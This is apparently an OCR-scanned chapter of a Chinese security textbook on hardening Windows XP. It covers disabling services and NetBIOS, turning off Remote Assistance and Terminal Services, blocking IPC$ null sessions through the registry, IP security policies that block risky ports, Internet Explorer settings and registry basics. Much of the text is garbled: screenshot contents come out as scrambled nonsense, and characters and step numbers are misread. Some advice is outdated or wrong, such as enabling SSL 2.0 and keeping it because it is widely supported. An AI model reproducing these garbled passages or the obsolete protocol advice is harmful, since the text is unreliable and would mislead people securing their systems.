Messenger 传输 客户 端 和 服务 器 之 间 的 NET SEND 和 和 警报 器 服务 消息 
Microsoft Search 提供 快速 的 单词 搜索 ,不 需要 可 禁用 
NTLM Security Support Provide Telnet 服务 和 Microsoft Search 用 的 ,不 需要 可 禁用 
Print Spooler 如 果 没 有 打印 机 可 禁用 
Remote Desktop Help Session Manager | 禁止 远程 协助 
Remote Registry 禁止 远程 修改 注册 表 
Task Scheduler 允许 程序 在 指定 时 间 运 行 
Workstation 车 关闭 ,远程 NET 命令 列 不 出 用 户 组 

3. 禁止 NetBIOS 


默认 情况 下 ,为 了 建立 网 络 连接 , Windows 会 安装 很 多 协议 和 运行 很 多 服务 ,其 中 一 些 
协议 和 服务 都 不 是 必需 的 ,例如 NetBIOS ,文件 和 打印 机 共享 等 ,而 “最 小 的 服务 十 最 小 的 
权限 三 最 大 的 安全 ”这 个 等 式 是 永远 成 立 的 ,因此 有 必要 关 掉 不 需要 的 服务 , 印 载 不 需要 的 
协议 ,来 增强 系统 的 安全 。 

58 135. 在 桌面 右 击 【 网 上 邻居 】 图 标 , 选 择 【 属 性 命令 ,打开 【网 络 连 接 ] 窗 口 , 然 
后 右 击 【 本 地 连接 图标, 选择 [属性] 命令, 打开 【本 地 连接 属性 ] 对 话 框 ,如 果 不 需要 共 
享 文件 和 打印 机 ,那么 在 [常规 选项 卡 里 将 pg 
【Microsoft Windows 网 络 的 文件 和 打印 机 共 环 设 置 | as [Ys [jm 
X YI 3A " WINS 地 址 ( 控 使 用 顺序 排列 ) W 

第 2 步 : 双击 【Internet 协议 (TCP/IP)】 选 
项 ,弹出 【Internet 协议 (TCP/IP) 属 性 对 话 框 ， 
单 击 下 面 的 【高 级 按钮 ,弹出 【高 级 TCP/IP i 
置 ] 对 话 框 ,选择 [WINS】 选 项 卡 ,如 图 4-8 所 示 ， 


mmo... | mmo Bis v 


加 果 启用 LINDSTS SE, CISEUBT NUR BRE TCP/IP 的 连接 。 


口 忆 用 uost #90) 导入 UosTs Q 


取消 选中 【启用 LMHOSTS 查询 ] 复 选 框 ,然后 sess 设置 
选择 [禁用 TCP/IP 上 的 NetBIOS] 单 选 按钮 。 ucro mr 


从 ner 
bed mcr Rin wears WE, MIBA Tcr 


第 3 步 : 在 开始 菜单 中 打开 【运行 ] 对 话 框 ， De 
输入 services. msc, 打 开 【 服 务 了 窗口 .找到 TCP/ RR TIE E eus GJ! 
IP NetBIOS Helper 这 个 服务 ,停止 这 个 服务 ,并 
设置 启动 类 型 为 手动 或 禁止 。 

第 4 步 : 重新 启动 计算 机 。 


图 4-8 【高 级 TCP/IP 设置 ] 对 话 框 
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4. 


L3 


止 远程 协助 


Windows XP 上 的 “远程 协助 ?功能 允许 用 户 在 使 用 计算 机 发 生 困 难 时 ,可 以 向 MSN 或 
QQ 上 的 好 友 发 出 远程 协助 邀请 ,来 帮助 自己 解决 问题 。 而 这 个 “远程 协助 ”功能 正 是 “冲击 
波 ” 病 毒 所 要 攻击 的 RPC (Remote Procedure 
Call ,远程 过 程 调用 ) 服 务 在 Windows XP 上 的 | [AR ims wm [ma snn sux ES | 
表现 形式 " 建议 用 p 禁用 该 功能 " 全 证 全 全。 
禁止 “远程 协助 ”功能 的 方法 是 : 在 桌面 右 || emen 
击 [ 我 的 电脑 图标 ,选择 [属性 命令 ,打开 【 系 E E 
统 属性 了 对话 框 ,如 图 4-9 所 示 , 在 【远程 3 选项 卡 omen 


里 取消 选中 [允许 从 这 台 计 算 机 发 送 远 程 协助 Hanes 


m 
邀请 ] 复 选 框 。 tatana 
EDERSUGHEFUDR POR PULS SR. 
Hindov: BLAOBRERT CEDE AGERE. 


5. 终端 服务 


用 户 利用 “终端 服务 ”可 以 对 远程 计算 机 系 
统 实现 远程 控制 。 

在 Windows XP 系统 下 “终端 服务 "默认 
是 被 打开 的 , 即 如 果 有 人 知道 该 计算 机 上 的 一 图 4-9 【系统 属性 对 话 框 
个 账号 以 及 计算 机 的 IP 地 址 ,那么 他 就 有 可 能 
控制 该 计算 机 。 

有 两 种 办 法 解决 “终端 服务 ”的 安全 问题 。 

CD 禁用 “终端 服务 ”"。 在 图 4-9 中 ,在 【远程 3 选项 卡 里 取消 选中 【允许 用 户 远程 连接 到 
此 计算 机 了 复 选 框 。 

(2) 更 改 “ 终 端 服务 ”监听 端口 。 如 图 4-10 所 示 , 在 注册 表 编 辑 器 中 ,按照 HKEY 
LOCAL MACHINEASYSTEMNCurrentControlSetNVControlV Terminal. Server\WinStations\ RDP- 
Tcp MIRARE“ PortNumber" = dword: 00002683 ,将 端口 值 更 改 为 5858( 读 者 可 以 任意 指 
定 , 最 好 是 1024 以 上 的 不 常用 端口 ), 重 新 启动 计算 机 后 更 改 生效 。 


文件 下) RED FEV RERA MHW 


8 C3 Console 到 | 名称 E 数据 
E RIP-Tep — E REG_DWORD 0x00000d3d (3389) 
a Toa x || 国 saaam REG DYORD 0x00000001 (1) 
< m |a | 


我 的 电脑 \MEKEY_LDCAL MACHINE\SYSTEM\ Curr entControlSetVControlVTerminal Server \WinStations\RIP-Tep 


图 4-10 更改“ 终端 服 务 " 监 听 端 口 


UR RED “终端 服务 ”和 “远程 协助 "是 有 区 别 的 ,虽然 都 是 实现 远程 控制 ,但 是 “终端 
服务 ”更 注重 用 户 的 登录 管理 权限 , 它 的 每 次 连接 都 需要 当前 系统 的 一 个 具体 账号 ,独立 
于 当前 计算 机 用 户 的 邀请 ,可 以 独立 、 自 由 地 登录 远程 计算 机 。 
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E> 


6. 防范 IPC 默认 共享 


Windows XP 在 默认 安装 后 允许 任何 用 户 通过 空 用 户 连 接 (IPC $ ) 得 到 系统 所 有 账号 
和 共享 列表 ,这 本 来 是 为 局 域 网 用 户 共享 资源 和 文件 提供 方便 ,但 是 任何 一 个 远程 用 户 也 可 
以 利用 这 个 空 连接 得 到 用 户 列 表 。 黑 客 利 用 该 功能 得 到 系统 的 用 户 列 表 , 然 后 使 用 一 些 字 
典 攻击 工具 ,对 系统 进行 攻击 ,这 就 是 网 上 比较 流行 的 IPC 攻击 。 

要 防范 IPC 攻击 ,可 以 通过 修改 注册 表 来 禁止 空 用 户 连接 。 

第 1 步 : 将 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\ Lsa 
的 restrictanonymous 项 设置 为 1. 如 图 4-11 所 示 。 


数据 
0x00000000 (0) 


es Iss 0x00000001 (1) 
图 4-11 禁止 空 用 户 连 接 


第 2 步 : 将 HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet \ Services V 
lanmanserver\ parameters 的 AutoShareServer 项 设置 为 0, 如 图 4-12 所 示 。 


LPO RAV FEV BARA MHU 


< i » | 


[RADM KEY, LOCAL. WACHINENSTSTEN Curr entControlSetVServi ces Vl anmanserver parameters 


图 4-12. 设置 AutoShareServer 和 AutoShareWks 


第 3 35. 将 HKEY LOCAL. MACHINEVSYSTEMN CurrentControlSet V Services V 
lanmanserverNV parameters 的 AutoShareWks 项 设置 为 0, 如 图 4-12 所 示 。 

另外 ,也 可 永久 关闭 IPC $ 和 默认 共享 所 依赖 的 服务 : lanmanserver(server)。 在 开始 
菜单 中 打开 [运行] 对 话 框 ,输入 services. msc, 打 开 【 服 务 了 窗口 ,找到 server 这 个 服务 ,停止 
这 个 服务 ,并 且 设 置 启动 类 型 为 手动 或 禁止 。 


7. IP 安全 策略 


利用 操作 系统 的 策略 功能 ,通过 新 建 IP 安全 策略 来 关闭 计算 机 中 的 危险 端口 , 据 此 可 
以 防范 病毒 和 木马 的 入侵 与 草 延 .新建 IP 安全 策略 的 步骤 如 下 。 

58 135: 依次 选择 [开始 了 民 设 置 了 民 控 制 面 板 】 命 令 ,打开 【控制 面板 窗口 , 单 击 【性 能 
和 维护 图标 ,再 单 击 【 管 理工 具 了 图 标 ,打开 【管理 窗口 3 窗口 ,双击 【本 地 安全 策略 了 图 标 , 打 
开 【 本 地 安全 设置 3 对话 框 , 如 图 4-13 所 示 。 选 中 [IP 安全 策略 ,在 本 地 计算 机 选项 ,然后 在 
右边 窗 格 的 空白 处 右 击 ,在 右键 菜单 选择 【创建 IP 安全 策略 3 命令 ,弹出 【IP 安全 策略 向 导 】 
对 话 框 , 如 图 4-14 所 示 , 单 击 【 下 一 步 ] 按 钮 ,出 现 如 图 4-15 所 示 页 面 。 

第 2 步 : 在 图 4-15 中 ,为 新 的 安全 策略 命名 , 单 击 【 下 一 步 3 按 钮 ,出 现 如 图 4-16 所 示 页 
面 。 弹 出 【安全 通信 请 求 ] 对 话 框 ,取消 选中 [激活 默认 响应 规则 ] 复 选 框 , 单 击 【 下 一 步 ] 按 


钮 ,出 现 如 图 4-17 所 示 页 面 。 
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本 地 安全 设置 
XO REW 查看 WD) 帮助 0 


名 称 Eg 
sims 对 所 有 IP 通 


Gg 安全 策略 ， 在 本 地 计 


所 有 任务 四) 


Boo 
导出 列表 D 


seo 


排列 图 标 D 
Lu: 


HW 


图 4-13 【本 地 安全 设置 了 对话 杠 


IP 安全 策略 向导 


欢迎 使 用 “IF 安全 策略 向 导 ”。 


i 


要 继续 ， 请 单 击 “ 下 一 步 ”。 


图 4-14 IP 安全 策略 向 导 


IP 安全 策略 向 导 


JIP 安全 策略 名 称 
命名 这 个 I 安全 策略 并 且 给 出 一 个 简短 的 措 述 


加 | 


E] 
FT 


描述 @) 


图 4-15 IP 安全 策略 名 称 


IP 安全 策略 向 导 


安全 通信 请 求 
有 定 这 个 策略 如 何 对 安全 通讯 的 请 求 做 出 反应 。 E 


默认 响 序 规则 在 当 没 有 其 它 规则 适用 时 ， 对 请 求 安全 的 运程 计算 机 作出 响 
Ri. 为 了 安全 地 通讯， 计算 机 必须 对 安全 通讯 请 求 做 出 啊 应 。 


厂 BESUTAN QU. 1 
图 4-16 安全 通信 请 求 


l- 
a) 


OQ 


第 4 章 ”操作 系统 安全 技术 


IP $PORMADIST. 


正在 元 成 IP 安全 策略 向 导 
您 已 成 功 地 完成 指定 禾 的 新 IP REREN. 


7 sexe. em mtr" is 


F SHEER 
请 按 “完成 ”来 关闭 此 向 导 。 


图 4-17 完成 IP 安全 策略 向 导 


第 3 步 : 在 图 4-17 中 ,选中 [编辑 属性 ] 复 选 框 , 单 击 【完成 3 按钮 ,如 图 4-18 所 示 , 显 示 


[example 属性 ] 对 话 框 ,取消 选中 【使 用 “添加 向 导 ”] 复 选 框 ,然后 单 击 【 添 加 按钮 ,显示 
【新 规则 属性 】 对 话 框 ,如 图 4-19 所 示 。 


exaaple 属性 IP REAU | spit abt | 身份 验证 方法 | 隧道 设置 | 连接 类 型 | 
A a 


à z pne IP 第 选 器 列表 指定 了 哪个 网 络 传输 格 受 此 规则 

和 和 下 他 计算 机 通讯 的 安全 规则 

IP 第 过 器 列表 QD 
名 称 

Oif ICWP 通讯 量 
OMA rp 


P 安全 规则 CD); 
1r tH 
D 55» 


E] 
匹 也 该 计算 机 与 任何 其 地 计算 
匹配 该 计算 机 到 任何 其 他 计算 


Kerberos 无 


> 


< 
amw... | eum. T RUE eag Q0] 


Cx] C xs 


mp. | Aem. | meo | 


图 4-18 [example 属性 ] 对 话 框 图 4-19 【新 规则 属性 ] 对 话 框 
第 4 步 : 在 图 4-19 中 , 单 击 【 添 加 3 按钮 ,弹出 [IP 筛选 器 列表 对 话 框 , 如 图 4-20 所 示 ， 


取消 选中 [使 用 “添加 向 导 ”] 复 选 框 ,然后 单 击 【添加 按钮 ,弹出 【筛选 器 属性 了 对 话 框 , 如 
图 4-21 所 示 。 


It | 协议 se | 
mir o2 E 


EIA Hitit c) 
LL 任何 IP 地 址 z 
p puma e rema. 这 样 ， 多 个 子 网、IP 地 址 和 协议 可 被 


mn. 


[- RES EE QD] 
LE] 目标 端口 


jv 镜像 。 同 时 与 源 地 址 和 目标 地 址 正好 相反 的 数据 包 相 匹配 0)。 


图 4-20 [IP 筛选 器 列表 ] 对 话 框 图 4-21 【筛选 器 属性 3] 对话 框 [ 寻 址 3 选项 卡 


e 
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第 5 步 : 在 图 4-21 中 , 源 地 址 选 “任何 IP 地 址 ,目标 地 址 选 “ 我 的 IP 地址”。 


第 6 步 : 选择 [协议 选项 卡 ,如 图 4-22 所 
示 , 在 【选择 协议 类 型 下拉 列表 中 选择 
“TCP”, 然 后 在 [到 此 端口 J 下 的 文本 框 中 输入 
“135”, 单 击 【 确 定 ] 按 钮 ,这 样 就 添加 了 一 个 屏 
ilt TCP 135CRPC) 端 口 的 筛选 器 , 它 可 以 防止 
外 界 通 过 135 端口 连接 本 台 计 算 机 。 随 后 单 
击 【 确 定 ] 按 钮 返回 到 [IP 筛选 器 列表 对 话 
框 ,如 图 4-23 所 示 , 可 以 看 到 已 经 添加 了 一 条 
策略 。 

987 步 : 重复 以 上 步骤 继续 添加 TCP 
137,139,445 端口 和 UDP 135,139,445 端口 ， 
为 它们 建立 相应 的 筛选 器 。 重 复 以 上 步骤 添 
加 TCP 1025、2745、3127、6129、3389 等 危险 


图 4-22 【筛选 器 属性 ] 对 话 框 [协议 〗 选 项 卡 


端口 的 屏蔽 策略 ,建立 好 上 述 端口 的 筛选 器 ,最 后 在 图 4-23 中 单 击 【确定 3 按钮 ,返回 【新 规 
则 属性 对 话 框 ,如 图 4-24 所 示 ( 区 别 于 图 4-19) 。 


LEM ILILLES 


r E 和 这 祥 ， 多 个 子 网 、I 地 址 和 协议 可 被 
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Wee 描述 MRN WAO Bier 7 DNS SA Hu 
TCP (NN) GLER E 


目标 DNS 名 称 Bf 
J 的 IP IBN ji 


图 4-23 [IP 筛选 器 列表 对话 杠 


第 8 步 : 在 图 4-24 中 ,选择 [新 IP 筛选 器 列表 了 单 选 按钮 ,激活 新 TP 筛选 器 ,然后 选择 


【筛选 器 操作 选项 卡 ,如 图 4-25 所 示 。 


Ir RAIAR | iesu | 身份 验证 方法 | nate | EESE | 


ED 和 的 本 SENDER T AI PPS FEAR HUELLA 
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ECT. 
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第 9 步 : 在 图 4-25 中 ,取消 选中 [使 用 “添加 向 导 ”] 复 选 框 ,然后 单 击 【 添 加 按钮 ,弹出 
【新 筛选 器 操作 属性 了 对话 框 ,如 图 4-26 所 示 , 在 【安全 措施 】 选 项 卡 中 ,选择 [阻止] 单 选 按 
钮 ,然后 单 击 【 确 定 ] 按 钮 ,返回 到 如 图 4-27 所 示 的 [新 规则 


Ao AGE 属性 


属性 了 对 话 框 。 


ir RREA REB | 身份 验证 方法 | pines | 连接 类 型 | 


X 


IENE T AREEN NTARE 
WERRIET: 

加 请求 安全 Mit) 

OBL 


- ORERE 
图 4-26 【新 筛选 器 操作 属性 ] 对 话 框 


接受 不 安全 的 通讯 , 但 是 请 求 
Om 


接受 不 安全 的 通讯 ,但 总 是 请 
区 许 不 安全 的 IP 包 经 过 ， 


图 4-27 【新 规则 属性 对话 框 
第 10 步 : 在 图 4-27 中 ,选择 【新 筛选 器 操作 了 单 选 按钮 ,激活 新 筛选 器 操作 , 单 击 【关闭 】 
按钮 四, 返回 【example i 


属性 对 话 框 ,如 图 4-28 所 示 。 
第 11 步 : 在 图 4-28 中 ,ii 
图 4-29. 


规则 [wm 


选中 [新 IP 筛选 器 列表 了 复 选 框 ,然后 单 击 【 关 闭 ] 按 钮 到 


y meines 


本 地 安全 设置 Dør 
XPO MW EV EDV 
T SERI OD: e» OXER e gn. 
T DEAE ERRE ELETZEA Ima 5 
回 新 rb 站 过 器 列表 MLB Kerberos. la Gl 
L1 eb» 默认 响应 Kerberos. H 
| BFP 所 有 任务 0 ， 
Bue. | e... € |r em-mmes" e Dppecoc ewe 
重 命名 中) 
mn geo) 
图 4-28 [example 属性 ] 对 话 框 图 4-29 【本 地 安全 设置 ] 对 话 框 
第 12 步 : 在 图 4-29 中 , 右 击 新 添加 的 IP 安全 策略 example, 然 
的 安全 性 。 


后 选择 [指派 】。 
4.3.3 


完成 上 述 端 口 设置 ,重新 启动 计算 机 后 ,上 述 网 络 端口 就 被 关闭 了 。 从 而 增强 了 计算 机 
IE 浏览 器 


第 1 步 : 打开 Internet Explorer. f&W EE T. H.] [Internet 选项 命令 ,打开 【Internet 选 
项 对 话 框 , 如 图 4-30 所 示 ,选择 【安全 】 选 项 卡 

第 2 步 : 在 图 4-30 中 , 单 击 【Internet] 图 标 ,就 可 以 对 Internet 区 域 的 
行 设置 了 。 虽 然 有 不 同 级 别 的 默认 设置 ,但 是 最 好 根据 实际 情况 调整 一 下 。 单 击 [ 自 定义 级 


区 域 的 一 些 安全 选项 进 
别 了 按钮 ,出现 [安全 设置 3 对 话 框 , 如 图 4-31 所 示 ,其 中 是 所 有 IE 的 安全 设置 。 
下 面 介绍 图 4-31 中 主要 的 安全 设置 
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图 4-30 【安全 选项 卡 图 4-31 【安全 设置 ] 对 话 框 


COD 下 载 已 签名 的 ActiveX 控件 。 经 过 第 三 方 认 证 机 构 签名 ,证 明 该 ActiveX 控件 是 
安全 的 ,并 且 可 以 设置 为 允许 下 载 这 种 控件 。 

(2) 下 载 未 签名 的 ActiveX 控件 。 与 经 过 签名 认证 的 ActiveX 控件 相 比 ,未 经 签名 认 
证 的 ActiveX 控件 可 能 会 包含 潜在 的 安全 隐患 ,因此 这 个 选项 最 好 不 要 设置 为 启用 。 如 果 
设置 为 询问 ,可 以 根据 正在 访问 的 站 点 的 性 质 由 自己 决定 是 否 下 载 安装 未 经 认证 的 
ActiveX 控件 。 

G) 运行 ActiveX 控件 和 插件 。 假 设 已 经 禁止 了 所 有 ActiveX 控件 和 插件 的 运行 , 那 
么 这 个 选项 就 可 以 放心 地 设置 为 “管理 员 认 可 ”。 这 个 选项 不 建议 设置 为 允许 。 

(4) 活动 脚本 。 现 在 脚本 程序 非常 流行 ,通过 脚本 程序 可 以 建立 很 多 实用 的 网 页 ,如 果 
禁用 脚本 程序 ,一些 网 页 将 不 能 正常 浏览 。 这 里 建议 设置 为 禁用 ,至 于 少数 重要 的 但 是 不 能 
正常 浏览 的 网 页 ,将 在 后 面 介绍 解决 办 法 。 

(5) Java 小 程序 脚本 。Javascript 是 一 种 公开 的 、 多 平台 .面向 对 象 的 脚本 语言 。 很 多 
网 页 中 都 使 用 了 Javascript 脚本 ,但 是 为 了 安全 起 见 最 好 禁用 它 。 

第 3 步 : 如 果 进 行 了 IE 的 安全 设置 后 ,影响 到 少数 必须 要 访问 的 站 点 ,但 是 为 了 安全 
又 不 想 把 Internet 区 域 的 安全 级 别 设 置 得 太 低 ,那么 可 以 将 一 些 信 任 的 站 点 添加 到 * 受 信任 
的 站 点 ”中 去 。 方 法 是 : 在 图 4-30 的 Internet 选项 的 【安全 选项 卡 中 , 单 击 【受信 任 的 站 点 】 
图 标 , 然 后 单 击 【站 点 了 按钮 ,出 现 如 图 4-32 所 示 的 对 话 框 ,输入 希望 添加 的 网 址 ,然后 单 击 
右 侧 的 [添加 按钮 。 

第 4 步 : 打开 图 4-30 中 的 [内 容 〗 选 项 卡 , 单 击 【自动 完成 3 按钮 ,出 现 如 图 4-33 所 示 的 
【自动 完成 设置 ] 对 话 框 ,所 列 出 来 的 每 一 项 ,自动 完成 功能 都 会 保存 特定 的 内 容 , 其 中 有 如 
下 内 容 。 

(1) Web 地 址 。 会 保存 在 IE 地 址 栏 中 输入 过 的 内 容 。 

OO 表单 。 会 保存 在 网 页 中 填写 的 资料 ,例如 论坛 上 的 发 言 ( 除 用 户 名 和 密码 ) ,搜索 引 
擎 中 使 用 过 的 关键 字 。 
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3 该 区 域 中 的 所 有 网 站 都 具 
自动 完成 可 以 列 出 与 您 以 前 输入 的 内 容 最 相符 的 条 目 。 


将 该 网 站 添加 到 区 域 中 M): 自动 完成 功能 应 用 于 
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图 4-32 ”添加 受信 任 的 站 点 图 4-33 【自动 完成 设置 ] 对 话 框 


(3) 表单 上 的 用 户 名 和 密码 。 会 保存 登录 论坛 或 其 他 网 页 时 输入 的 用 户 名 和 密码 。 

(4) 提示 我 保存 密码 。 当 登录 一 个 网 站 或 者 论坛 时 都 会 输入 相应 的 账号 和 密码 ,然后 
会 弹出 [自动 完成 ] 对 话 框 ,提示 : “是否 让 Windows 记 住 该 密码 ” ,注意 ,出 现 这 段 提示 时 请 
用 户 要 慎重 选择 。 虽 然 该 功能 在 使 用 上 非常 方便 ,但 是 要 根据 具体 环境 进行 不 同 的 选择 , 比 
如 在 使 用 公共 计算 机 时 ,就 不 要 让 计算 机 保存 密码 ,防止 其 他 人 利用 用 户 记录 在 这 台 计 算 机 
上 的 登录 信息 登录 用 户 进 入 的 论坛 .网 站 ,甚至 进入 用 户 的 个 人 邮箱 等 。 有 些 用 户 也 许 根本 
就 没有 注意 就 随便 单 击 了 【保存 密码 按钮 ,等 看 清楚 的 时 候 , 密 码 已 经 保存 到 浏览 器 中 了 ， 
而 这 些 密码 信息 被 保存 到 本 地 计算 机 中 的 Cookies 文件 中 ,只 要 把 Cookies 文件 删除 即 可 。 

自动 完成 可 以 节省 很 多 时 间 ,但 同时 也 带 来 了 很 大 的 安全 隐患 。 

为 了 安全 起 见 ,打开 图 4-30 中 的 【常规 了 选项 卡 , 如 图 4-34 所 示 , 可 以 单 击 【删除 
Cookies] 和 【清除 历史 记录 按钮 。 

$8 5 3p. 打开 图 4-30 中 的 【高 级 选项 卡 , 如 图 4-35 所 示 , 下 面 介绍 图 4-35 中 主要 的 
设置 。 
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(1) 不 将 加 密 的 页 面 存 人 硬盘 

启用 了 这 个 选项 后 ,对 于 加 密 页 面 ( 主 要 是 URL 以 https 打头 的 ) 将 不 会 保存 到 
Internet 临时 文件 夹 中 。 如 果 多 人 共用 同一 台 计 算 机 ,这 个 选项 是 很 有 必要 的 ,这 样 别人 就 
无 法 通过 Internet 临时 文件 窥探 到 你 访问 过 的 加 密 网 页 了 (如 某 些 电子 商务 网 站 的 信用 卡 
付费 页 面 ) 。 

(2) 检查 发 行商 的 证 书 吊销 

如 果 选 择 了 这 个 选项 , 当 访 问 某 些 需 要 认证 的 站 点 时 ,IE 会 首先 检查 给 站 点 提供 的 证 
书 是 否 依然 有 效 。 一 般 情况 下 ,建议 启用 该 设置 。 

(3) 检查 服务 器 的 证 书 吊销 

这 个 选项 将 会 使 IE 检查 站 点 服务 器 的 证 书 是 否 仍 然 有 效 ,一 般 也 应 该 启用 这 个 设置 。 

(4) 检查 下 载 的 程序 的 签名 

如 果 启 用 了 这 个 设置 ,在 下 载 了 程序 后 IE 会 通过 签名 自动 检查 程序 是 否 被 非法 改动 
过 。 一 般 应 当 启用 这 个 设置 。 

(5) 将 提交 的 POST 重 定向 到 不 允许 发 送 的 区 域 时 发 出 警告 

启用 这 个 设置 后 ,在 某 些 论坛 或 类 似 的 地 方 提交 的 一 些 信息 如 果 被 发 送 到 了 其 他 的 服 
务 器 上 ,IE 就 会 发 出 警报 提醒 。 所 以 为 了 安全 起 见 该 设置 也 应 当 启用 。 

(6) 使 用 SSL 2. 0,SSL 3.0 和 TLS 1.0 

它们 都 与 在 Internet. 上 通过 协议 加 密 数据 有 关 。 例 如 一 些 网 站 的 身份 认证 和 重要 数据 
的 传输 ,在 这 过 程 中 都 会 用 到 SSL 加 密 。 因 此 最 佳 建议 是 这 3 个 选项 全 部 启用 。 但 是 如 果 
启用 后 在 访问 某 些 加 密 站 点 出 现 错误 时 ,那么 可 以 禁用 除 SSL 2. 0 之 外 的 其 他 两 个 协议 , 因 
为 不 同 版 本 之 间 可 能 会 有 冲突 ,而 SSL 2.0 是 被 采用 得 最 广泛 的 ,一 般 的 加 密 站 点 都 会 
支持 。 

(7) 在 安全 和 非 安 全 模式 之 间 转 换 时 发 出 警告 

当 启 用 这 个 设置 之 后 ,如 果 要 从 一 个 安全 的 网 页 (可 能 是 经 过 SSL 加 密 的 ) 进 入 到 一 个 
不 安全 的 网 页 时 ,IE 会 发 出 警告 提醒 ,以 避免 在 不 知情 的 情况 下 泄露 一 些 私 人 的 信息 。 

(8) 使 用 被 动 FTP( 用 于 防火 墙 和 DSL 调制 解 调 器 兼容 ) 

这 个 设置 将 会 允许 在 使 用 TE 浏览 FTP 服务 器 时 使 用 被 动 模式 ,这 种 模式 更 加 安全 , 因 
为 服务 器 方 无 法 获得 本 地 IP 地 址 ,如 果 不 能 正常 访问 某 些 FTP 服务 器 ,就 可 以 试 试 启用 或 
者 禁用 这 个 设置 。 

第 6 步 : 在 图 4-34 中 , 单 击 [Internet 临时 文件 3 选项 组 的 [设置 3 按钮 ,出 现 如 图 4-36 所 
示 对 话 框 ,依据 硬盘 空间 大 小 来 设 定 临时 文件 夹 的 容量 大 小 。 

在 上 网 的 过 程 中 E 会 在 系统 盘 内 自动 地 把 浏览 过 的 图 片 .Cookies 等 数据 信息 保留 在 
Internet 临时 文件 夹 内 ,目的 是 为 了 便于 下 次 访问 该 网 页 时 迅速 调用 已 保存 在 硬盘 中 的 网 
页 文件 ,从 而 加 快 上 网 的 速度 。 但 是 ,上 网 的 时 间 一 长 ,Internet 临时 文件 夹 的 容量 会 越 来 
越 大 ,这 样 将 导致 磁盘 碎片 的 产生 ,影响 系统 的 正常 运行 。 因 此 ,可 以 考虑 改变 Internet Ifi 
时 文件 的 路 径 ,这 样 既 可 以 减轻 系统 的 负担 ,还 可 以 在 系统 重 装 后 保留 临时 文件 。 单 击 
图 4-36 中 的 【移动 文件 夹 ] 按 钮 选择 Internet 临时 文件 夹 路 径 。 

第 7 步 : 打开 图 4-37 所 示 的 【隐私 选项 卡 ,通过 滑 杆 来 设置 Cookie 的 隐私 设置 ,从 高 
到 低 依次 为 : 阻止 所 有 Cookie、 高 .中 上 、 中 、 低 、 接 受 所 有 Cookie 这 6 个 级 别 , 默 认 级 别 为 
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图 4-36 Internet 临时 文件 和 历史 记录 设置 图 4-37 【隐私 ] 选 项 卡 


第 8 步 : 注册 表 中 与 TE 相关 的 设置 。 
CD IE 首页 网 址 如 图 4-38 所 示 。 


HKEY CURRENT USER\Software\Microsoft\ Intemet Explorer\Main\ Start Page 
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图 4-38 IE 首页 网 址 键 值 


(2) HKEY_LOCAL MACHINE\Software\ Microsoft\Internet Explorer\ Main\ 中 的 
键 值 。 


4.3.4 注册 表 


注册 表 是 Windows 的 重要 组 成 部 分 , 它 存放 了 Windows 中 所 有 应 用 程序 和 系统 配置 
信息 。 在 Windows 功能 和 应 用 软件 被 执行 前 ,首先 从 注册 表 中 取出 参数 ,根据 这 些 参数 决 
定 软件 的 具体 运行 过 程 。 注 册 表 也 是 黑客 攻击 的 主要 对 象 之 一 。 黑 客 通过 对 被 攻击 方 注册 
表 的 访问 获取 大 量 系统 信息 ,甚至 直接 击毁 系统 。 

注册 表 中 包含 了 有 关 计 算 机 如 何 运 行 的 信息 。Windows 将 它 的 配置 信息 存储 在 以 树 
状 格式 组 织 的 数据 库 ( 注 册 表 中。 注册 表 编 辑 器 是 用 来 查看 和 更 改 系统 注册 表 设 置 的 高 级 
工具 ,尽管 可 以 用 注册 表 编 辑 器 查看 和 修改 注册 表 ,但 通常 不 必 这 样 做 ,因为 更 改 不 正确 可 
能 会 损坏 系统 。 除 非 绝 对 必要 ,否则 不 要 编辑 注册 表 。 能 够 编辑 和 还 原 注册 表 的 高 级 用 户 
可 以 安全 地 使 用 注册 表 编 辑 器 执行 以 下 任务 : 清除 重复 项 或 删除 已 被 卸载 或 删除 的 程序 


的 项 。 
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要 打开 注册 表 编 辑 器 ,依次 选择 【开始 】 代 运行 ] 命 令 , 在 打开 的 【运行 对话 框 中 输入 
regedit, 然 后 单 击 【确定 ] 按 钮 。 如 图 4-39 所 示 .文件 夹 表示 注册 表 中 的 项 ,并 显示 在 注册 表 
编辑 器 窗口 左 侧 的 定位 区 域 中 。 在 右 侧 的 主题 区 域 中 , 则 显示 项 中 的 值 项 。 双 击 值 项 时 ,将 
打开 编辑 对 话 框 。 


日 Rata E mH sE 
Gi rr rusas o aew MSS GYERBED 
i C) MKEY CURRENT USER 国 cnaLine ms 
& C) MKEY LOCAL MACHINE fljostosderrath oig A 
Hi i HMM 国 setupType REG DYORD 0x00000000 (0) 
[aBSystenPartition REG S2 \Devi ce\Harddi skVolune10 
9 C3 sorma 国 systenPrefix REG. BINARY 4T 1b 00 00 00 e0 4T 52 
& C3 srst &d]SystenSetupInfrogress REG. DFORD 000000000 (0) 
5 C) ControlSet001 
由 国 ControlSet002 


5 C] CurrentControlSet 
C LastknornGoodRecover, 


& C wer vsess. 

C) KEY. CURRENT. CONFIG 
自生 Software 
& CJ System 


< | me 


[reos ver ocu. mcm srsrem Setup 


图 4-39 注册 表 编 辑 器 


1. 注册 表 编 辑 器 项 与 数据 类 型 


注册 表 编 辑 器 的 定位 区 域 显 示 文 件 夹 ,每 个 文件 夹 表示 本 地 计算 机 上 的 一 个 预定 义 的 
项 。 访问 远程 计算 机 的 注册 表 时 ,只 出 现 HKEY_USERS 和 HKEY_LOCAL_MACHINE 
两 个 预定 义 项 。 注 册 表 编辑 器 项 的 说 明 见 表 4-3。 
表 4-3 注册 表 编 辑 器 项 
文件 夹 /预定 义 项 说 明 
是 HKEY_LOCAL_MACHINE\Software 的 子 项 。 此 处 存储 的 信息 可 
以 确保 在 使 用 Windows 资源 管理 器 打开 文件 时 ,将 打开 正确 的 程序 


包含 当前 登录 用 户 配置 信息 的 根 目 录 。 用 户 文件 夹 .屏幕 颜色 和 控制 
HKEY_CURRENT_USER 面板 设置 存储 在 此 处 。 该 信息 被 称 为 用 户 配置 文件 。 与 HKEY_ 
USERS\. DEFAULT 分 支 中 的 信息 相同 

包含 针对 该 计算 机 (对 于 任何 用 户 ) 的 配置 信息 (控制 系统 和 软件 设置 
的 信息 ) 

包含 计算 机 上 所 有 用 户 配置 文件 的 根 目录 。HKEY_CURRENT_ 
USER 是 HKEY_USERS 的 子 项 


